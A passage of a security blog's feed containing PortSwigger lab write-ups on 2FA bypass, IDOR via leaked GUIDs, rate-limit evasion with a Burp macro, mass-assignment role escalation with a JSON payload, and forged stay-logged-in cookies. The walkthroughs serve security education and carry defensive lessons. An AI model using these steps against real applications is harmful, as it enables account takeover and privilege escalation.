vulnerable</h2><p>The application treats the first authentication step as sufficient for a protected route instead of binding access to a completed MFA state.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Observe the normal Wiener flow through email code and <code>/my-account?id=wiener</code>. Log in with <code>carlos:montoya</code>, stop at the code form, and directly request <code>/my-account?id=carlos</code>.</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://LAB/my-account?id=carlos</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/authentication/lab-2fa-simple-bypass/step-4.png" alt="On `/my-account?id=wiener`, after the code for Wiener is accepted, the My Account page identifies `wiener`, establishing the protected route reached by the normal flow."><figcaption>On `/my-account?id=wiener`, after the code for Wiener is accepted, the My Account page identifies `wiener`, establishing the protected route reached by the normal flow.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-2fa-simple-bypass/step-5.png" alt="Proxy history shows the successful `/login2` request redirecting to `/my-account?id=wiener`, exposing the directly addressable account route."><figcaption>Proxy history shows the successful `/login2` request redirecting to `/my-account?id=wiener`, exposing the directly addressable account route.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-2fa-simple-bypass/step-6.png" alt="On `/login2`, after submitting the correct password for Carlos, the browser remains on `/login2` and still requests a four-digit code."><figcaption>On `/login2`, after submitting the correct password for Carlos, the browser remains on `/login2` and still requests a four-digit code.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the 2fa simple bypass exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-2fa-simple-bypass/step-7.png" alt="Requesting `/my-account?id=carlos` directly displays Carlos&#x27;s My Account page without submitting his second factor."><figcaption>Requesting `/my-account?id=carlos` directly displays Carlos's My Account page without submitting his second factor.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The login flow verifies a password and then presents a second-factor page, but the account page can be requested directly before the second factor is completed.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>IDOR Despite Unpredictable User Identifiers</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/</id>
    <published>2026-07-11T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The account endpoint uses GUID-like identifiers rather than predictable usernames or integers. That makes guessing harder, but the application publishes Carlos’s identifier in an author link. Once discovered, the GUID can be supplied to the unprotected account endpoint to retrieve his synthetic API key.</p><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/step-1.png" alt="The lab replaces usernames with GUID identifiers but still requires discovery of the GUID for Carlos to retrieve and submit his API key."><figcaption>The lab replaces usernames with GUID identifiers but still requires discovery of the GUID for Carlos to retrieve and submit his API key.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in as <code>wiener:peter</code>, discover Carlos’s user identifier, access his account record, and submit the synthetic API key.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The authenticated account URL contained a long identifier, preventing simple enumeration. Elsewhere on the site, blog posts linked authors through <code>/blogs?userId=&lt;GUID&gt;</code>. Finding a post by Carlos therefore disclosed the exact identifier needed by <code>/my-account?id=&lt;GUID&gt;</code>.</p><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/step-2.png" alt="The normal account request demonstrates the GUID-shaped selector in `/my-account?id=[wiener-guid]`."><figcaption>The normal account request demonstrates the GUID-shaped selector in `/my-account?id=[wiener-guid]`.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/step-3.png" alt="A public post identifies `carlos` as its author, providing a link whose destination contains his user identifier."><figcaption>A public post identifies `carlos` as its author, providing a link whose destination contains his user identifier.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/step-4.png" alt="Following the Carlos author link exposes his GUID in `/blogs?userId=[carlos-guid]`."><figcaption>Following the Carlos author link exposes his GUID in `/blogs?userId=[carlos-guid]`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Identifiers answer which object is requested, not whether the requester may access it. GUID entropy can reduce blind guessing but cannot survive disclosure through links, logs, analytics, or other application features. The account handler must compare the requested object with the authenticated principal’s permissions.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Log in as <code>wiener</code> and note the GUID-based account URL.</li><li>Browse the blog and locate a post authored by <code>carlos</code>.</li><li>Copy Carlos’s GUID from the author link.</li><li>Supply it as the <code>id</code> value on <code>/my-account</code> and retrieve the synthetic API key.</li><li>Submit the key through the lab interface.</li></ol><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/step-5.png" alt="Using the disclosed GUID as the `/my-account?id=` value loads the Carlos account and reveals its API key."><figcaption>Using the disclosed GUID as the `/my-account?id=` value loads the Carlos account and reveals its API key.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids/step-6.png" alt="Submitting the key obtained through Carlos&#x27;s leaked GUID marks the unpredictable-user-ID lab solved."><figcaption>Submitting the key obtained through Carlos's leaked GUID marks the unpredictable-user-ID lab solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Carlos’s identifier is obtained from a public blog relationship rather than guessed. Using that value on the account endpoint returns his protected data, and the Academy accepts the exposed key.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Real-world variants expose personal records, invoices, tokens, or tenant data whenever an identifier leaks. Treat opaque IDs as defense in depth only; enforce object-level authorization for every read and write, regardless of identifier format.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids">PortSwigger lab</a></li><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/">OWASP API Security: Broken Object Level Authorization</a></li><li><a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger IDOR writeup demonstrating why leaked GUIDs do not replace object-level authorization checks.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>Broken brute-force protection, IP block</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-broken-bruteforce-protection-ip-block/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-broken-bruteforce-protection-ip-block/</id>
    <published>2026-07-11T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The authentication control can be manipulated by carefully ordering login attempts around its IP-based blocking behavior.</p><figure><img src="/images/portswigger/authentication/lab-broken-bruteforce-protection-ip-block/step-1.png" alt="The Academy brief names victim `carlos`, supplies `wiener:peter`, and describes an IP-based brute-force control with flawed reset logic."><figcaption>The Academy brief names victim `carlos`, supplies `wiener:peter`, and describes an IP-based brute-force control with flawed reset logic.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Three consecutive failures trigger a one-minute IP block, but any successful login from the same client resets the shared counter. A session macro logs in as Wiener before each Carlos guess, allowing Intruder to reach <code>1234567</code> without retaining the block.</p><figure><img src="/images/portswigger/authentication/lab-broken-bruteforce-protection-ip-block/step-2.png" alt="After repeated failures, the login page states that too many incorrect attempts were made and imposes a one-minute wait."><figcaption>After repeated failures, the login page states that too many incorrect attempts were made and imposes a one-minute wait.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-broken-bruteforce-protection-ip-block/step-3.png" alt="A successful login opens Wiener&#x27;s My Account page, demonstrating the event that resets the IP failure counter."><figcaption>A successful login opens Wiener's My Account page, demonstrating the event that resets the IP failure counter.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Rate limiting that counts requests without binding failures to both account and client identity can be reset or bypassed.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Record a successful Wiener login as a Burp macro and attach it to a session-handling rule that runs before each Intruder request. This successful control login clears the shared IP failure count before the next Carlos attempt. Test Carlos’s candidate passwords and open the sole <code>302</code> result.</p><figure><img src="/images/portswigger/authentication/lab-broken-bruteforce-protection-ip-block/step-4.png" alt="For repeated `POST /login` attempts, the Burp macro editor records a successful `POST /login` request that can run before each password guess."><figcaption>For repeated `POST /login` attempts, the Burp macro editor records a successful `POST /login` request that can run before each password guess.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-broken-bruteforce-protection-ip-block/step-5.png" alt="The session-handling rule is enabled with the login macro as its action, interleaving a successful Wiener login with attack requests."><figcaption>The session-handling rule is enabled with the login macro as its action, interleaving a successful Wiener login with attack requests.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-broken-bruteforce-protection-ip-block/step-6.png" alt="The Intruder results contain a `302` response for payload `1234567`, while surrounding Carlos password guesses return `200`."><figcaption>The Intruder results contain a `302` response for payload `1234567`, while surrounding Carlos password guesses return `200`.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the broken brute-force protection, ip block exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-broken-bruteforce-protection-ip-block/step-7.png" alt="The broken IP-block lab shows its solved banner above Carlos&#x27;s My Account page after login with Intruder&#x27;s password result."><figcaption>The broken IP-block lab shows its solved banner above Carlos's My Account page after login with Intruder's password result.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The authentication control can be manipulated by carefully ordering login attempts around its IP-based blocking behavior.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Privilege Escalation Through Profile Mass Assignment</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-user-role-can-be-modified-in-user-profile/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-user-role-can-be-modified-in-user-profile/</id>
    <published>2026-07-11T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The profile endpoint is intended to update an email address, but it binds additional client-supplied JSON properties to the user object. Its response reveals a <code>roleid</code> field, and adding <code>&quot;roleid&quot;: 2</code> to the update request promotes the normal lab account to administrator.</p><figure><img src="/images/portswigger/access-control/lab-user-role-can-be-modified-in-user-profile/step-1.png" alt="The objective defines administrator access as `roleid` 2 and requires promotion of the supplied `wiener` account before deleting `carlos`."><figcaption>The objective defines administrator access as `roleid` 2 and requires promotion of the supplied `wiener` account before deleting `carlos`.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in with <code>wiener:peter</code>, obtain administrator privileges, open <code>/admin</code>, and delete the synthetic user <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Direct access to <code>/admin</code> was denied to the normal account. Updating the email address generated a JSON response containing the full user representation, including <code>roleid</code>. This both disclosed the privilege attribute and suggested that the endpoint might bind fields beyond the visible form.</p><figure><img src="/images/portswigger/access-control/lab-user-role-can-be-modified-in-user-profile/step-2.png" alt="Before changing the profile object, `/admin` refuses the `wiener` session with an administrator-only message."><figcaption>Before changing the profile object, `/admin` refuses the `wiener` session with an administrator-only message.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-role-can-be-modified-in-user-profile/step-3.png" alt="A normal email update returns the complete account JSON, including the authorization field `roleid: 1`."><figcaption>A normal email update returns the complete account JSON, including the authorization field `roleid: 1`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The server maps an untrusted request body onto a privileged domain object without an allowlist. A client should be permitted to change only explicitly supported profile fields; authorization-sensitive properties such as roles must be controlled by a separate privileged workflow.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Log in as <code>wiener</code> and capture <code>POST /my-account/change-email</code>.</li><li>Add the role property to the JSON body while retaining a valid email value:</li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;email&quot;</span><span class="punctuation">:</span><span class="string">&quot;attacker@example.test&quot;</span><span class="punctuation">,</span><span class="attr">&quot;roleid&quot;</span><span class="punctuation">:</span><span class="number">2</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><ol start="3"><li>Replay the request and confirm that the response reports role ID <code>2</code>.</li><li>Visit <code>/admin</code> and use the lab interface to delete <code>carlos</code>.</li></ol><figure><img src="/images/portswigger/access-control/lab-user-role-can-be-modified-in-user-profile/step-4.png" alt="Adding `&quot;roleid&quot;: 2` to the profile JSON is accepted, and the response confirms that the same account now has role ID `2`."><figcaption>Adding `"roleid": 2` to the profile JSON is accepted, and the response confirms that the same account now has role ID `2`.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-role-can-be-modified-in-user-profile/step-5.png" alt="After the mass-assignment update, `/admin` opens in the existing session and provides the delete action for `carlos`."><figcaption>After the mass-assignment update, `/admin` opens in the existing session and provides the delete action for `carlos`.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-role-can-be-modified-in-user-profile/step-6.png" alt="Deleting `carlos` produces the success message and solved banner, leaving only `wiener` in the Users list."><figcaption>Deleting `carlos` produces the success message and solved banner, leaving only `wiener` in the Users list.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The same session is denied before the profile update and admitted after the response confirms <code>roleid: 2</code>. Deleting Carlos then causes the Academy to mark the lab solved, tying the outcome to the unauthorized role modification.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Mass assignment of privilege fields can produce immediate administrator takeover. Use dedicated request DTOs or explicit field allowlists, ignore unknown properties, keep role management behind privileged endpoints, and avoid returning unnecessary internal account attributes.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile">PortSwigger lab</a></li><li><a href="https://cwe.mitre.org/data/definitions/915.html">CWE-915</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html">OWASP Mass Assignment Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger access-control writeup explaining how a profile update endpoint accepts a privileged role field and enables administrator escalation.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>Brute-forcing a stay-logged-in cookie</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-brute-forcing-a-stay-logged-in-cookie/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-brute-forcing-a-stay-logged-in-cookie/</id>
    <published>2026-07-10T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The persistent-login token is <code>base64(username + &#39;:&#39; + md5(password))</code>. Decoding my own cookie exposed an unsalted password hash, making it possible to calculate candidate cookies for Carlos and test them against <code>GET /my-account</code>.</p><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-1.png" alt="The Academy brief supplies `wiener:peter`, names Carlos as the target, and requires account access by brute-forcing the persistent-login cookie."><figcaption>The Academy brief supplies `wiener:peter`, names Carlos as the target, and requires account access by brute-forcing the persistent-login cookie.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Use the supplied account to inspect a legitimate <code>stay-logged-in</code> cookie. The objective is to forge Carlos’s cookie, open his account, and use the lab’s synthetic delete-account action.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Selecting <strong>Stay logged in</strong> produced a long encoded value. Base64 decoding revealed <code>username:hash</code>; comparison with the known password established that the second component was MD5. No server secret or random token contributed to the credential.</p><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-2.png" alt="The stay-logged-in cookie login form has Wiener&#x27;s credentials entered and the Stay logged in checkbox selected, the action that causes the persistent cookie to be issued."><figcaption>The stay-logged-in cookie login form has Wiener's credentials entered and the Stay logged in checkbox selected, the action that causes the persistent cookie to be issued.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-3.png" alt="Burp history highlights the `stay-logged-in` response cookie set after login, providing the encoded value used for format analysis."><figcaption>Burp history highlights the `stay-logged-in` response cookie set after login, providing the encoded value used for format analysis.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-4.png" alt="Base64 decoding the cookie yields `wiener:[md5-digest]`, exposing a username followed by a digest."><figcaption>Base64 decoding the cookie yields `wiener:[md5-digest]`, exposing a username followed by a digest.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The server accepts a cookie containing only a public username and a fast, unsalted password digest. Weak passwords can therefore be converted directly into valid persistent-login tokens, while the account endpoint acts as a response oracle for each guess.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Log in with <strong>Stay logged in</strong> enabled, copy the cookie, and decode it to confirm <code>base64(user:md5(password))</code>.</li><li>Send <code>GET /my-account</code> to Intruder and mark only the <code>stay-logged-in</code> value as the payload position.</li><li>Load the Academy password list. Apply MD5, add the prefix <code>carlos:</code>, and Base64-encode the combined value for every candidate.</li><li>Run the attack and identify the response with the distinctive <code>302</code> redirect, which indicates that the generated cookie authenticated as Carlos.</li><li>Open that response in the browser and use the lab’s delete-account control to complete the objective.</li></ol><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-5.png" alt="Hash comparison maps the decoded MD5 digest to `peter`, establishing that it is MD5 of the password."><figcaption>Hash comparison maps the decoded MD5 digest to `peter`, establishing that it is MD5 of the password.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-6.png" alt="For the stay-logged-in cookie attack, Intruder&#x27;s payload processors apply MD5, prepend `carlos:`, and Base64-encode the result to recreate the cookie format for each guess."><figcaption>For the stay-logged-in cookie attack, Intruder's payload processors apply MD5, prepend `carlos:`, and Base64-encode the result to recreate the cookie format for each guess.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-7.png" alt="The Intruder request targets `GET /my-account` with only the `stay-logged-in` cookie value marked as the payload position."><figcaption>The Intruder request targets `GET /my-account` with only the `stay-logged-in` cookie value marked as the payload position.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-8.png" alt="One stay-logged-in cookie Intruder result renders Carlos&#x27;s My Account HTML and identifies username `carlos`, unlike responses generated by incorrect cookie candidates."><figcaption>One stay-logged-in cookie Intruder result renders Carlos's My Account HTML and identifies username `carlos`, unlike responses generated by incorrect cookie candidates.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The decisive Intruder result is the single <code>302</code> response among rejected guesses. Following that response opens Carlos’s account, and the Academy solved banner appears after the synthetic account is deleted.</p><figure><img src="/images/portswigger/authentication/lab-brute-forcing-a-stay-logged-in-cookie/step-9.png" alt="The Academy solved banner appears above Carlos&#x27;s account after the authenticated delete-account action completes the exercise."><figcaption>The Academy solved banner appears above Carlos's account after the authenticated delete-account action completes the exercise.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Persistent-login cookies should be random, revocable server-side tokens, never encodings of passwords or password hashes. Use modern password hashing for stored credentials, rate-limit authentication attempts, rotate persistent sessions after use, and invalidate them on password changes or logout.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A reversible stay-logged-in cookie exposes a username and unsalted MD5 digest, enabling offline password testing and authenticated account takeover.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting a Mass Assignment Vulnerability in an API Checkout</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-mass-assignment-vulnerability/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-mass-assignment-vulnerability/</id>
    <published>2026-07-10T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough applies only to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The checkout API exposes an internal discount property when its state is retrieved, then accepts the same property from a client during checkout. Submitting a 100% discount reduces the lab’s jacket order to zero and bypasses the insufficient-funds condition.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-mass-assignment-vulnerability/step-1.png" alt="The lab objective is to exploit mass assignment during `POST /api/checkout` to purchase the jacket."><figcaption>The lab objective is to exploit mass assignment during `POST /api/checkout` to purchase the jacket.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in with the supplied <code>wiener:peter</code> account and buy the <strong>Lightweight l33t Leather Jacket</strong>. The relevant operation is <code>POST /api/checkout</code>; requesting the same resource with <code>GET</code> reveals additional checkout state.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Adding the jacket and attempting checkout produced the expected insufficient-funds failure. Burp’s HTTP history identified the checkout API request and its JSON body.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-mass-assignment-vulnerability/step-2.png" alt="HTTP history identifies both supported methods on `/api/checkout` for comparing readable and writable fields."><figcaption>HTTP history identifies both supported methods on `/api/checkout` for comparing readable and writable fields.</figcaption></figure><figure><img 